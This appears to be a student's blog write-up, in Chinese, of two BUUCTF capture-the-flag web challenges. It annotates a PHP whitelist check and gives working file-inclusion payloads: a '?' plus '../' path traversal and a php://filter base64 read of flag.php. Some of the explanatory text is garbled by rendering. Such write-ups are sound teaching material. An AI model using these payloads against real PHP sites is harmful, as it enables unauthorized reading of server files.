BUUCTF-web

上周学长刚刚讲过代码审计,我发现有一些代码审计题型,就拿来做一下

WarmUp(代码审计)

1.打开靶场,发现在这里插入图片描述2.F12控制台打开,发现
在这里插入图片描述3.其中里面有
在这里插入图片描述
4.使用php语言打开其内容

http://856cbf54-b602-4f72-856c-a87dc52702b1.node3.buuoj.cn/index.php?file=source.php

5.代码函数内容:

!empty( R E Q U E S T [ ′ f i l e ′ ] ) ∗ ∗ 表 示 要 f i l e 变 量 不 为 空 ∗ ∗ i s s t r i n g ( _REQUEST['file'])** 表示要file变量不为空 **is_string( REQUEST[file])fileisstring(_REQUEST[‘file’]) 要求我们传进来的值是字符串类型
emmm::checkFile($_REQUEST[‘file’]) 表示将我们的的值传到emmm类里面的checkFile函数

6.这三个值通过&&逻辑与运算符连接
只有将这块函数的返回值要全为真才能执行if里面的文件包含的代码
所以我们开始执行命令
使用

index.php?file=hint.php

得到
在这里插入图片描述7.再次解析代码得到

class emmm
    {
         public static function checkFile(&$page)
  
         {
            //白名单列表
             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
           //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
             if (! isset($page) || !is_string($page)) {
                 echo "you can't see it A";
                 return false;
             }
             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($page, $whitelist)) {
                return true;
             }
             //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                 0,
                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
             );
 
             //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($_page, $whitelist)) {
                return true;
            }
             //url对$page解码
             $_page = urldecode($page);

             //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                 0,
                mb_strpos($_page . '?', '?')
             );
            //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             echo "you can't see it";
            return false;
        }
     }

这里面包含了3次白名单检测 **
两次 ** ?过滤

以及一次URL解码
7.之后只要把他的过滤的东西绕过即可
使用命令

/index.php?file=hint.php?../../../../../ffffllllaaaagggg 

即可得到FLAG
在这里插入图片描述

[ACTF2020 新生赛]Include:

1.打开靶场
在这里插入图片描述2.点开按键
在这里插入图片描述3.查看是否存在抓包,使用bp抓包,没有收获
4.使用PHP语言

?file=php://input

得到
在这里插入图片描述5.再使用php://filter"伪协议” 来进行包含
(注意:使用php://filter伪协议进行文件包含时,使用read=convert.base64-encode得到base64编码后的flag.php文件源码)
构造Payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到
在这里插入图片描述PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZjM3YjA0MzItMGNmMi00OTY3LTkxOWQtOGZiZWZhZjliYWU1fQo=

经典base64解码
得到在这里插入图片描述得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值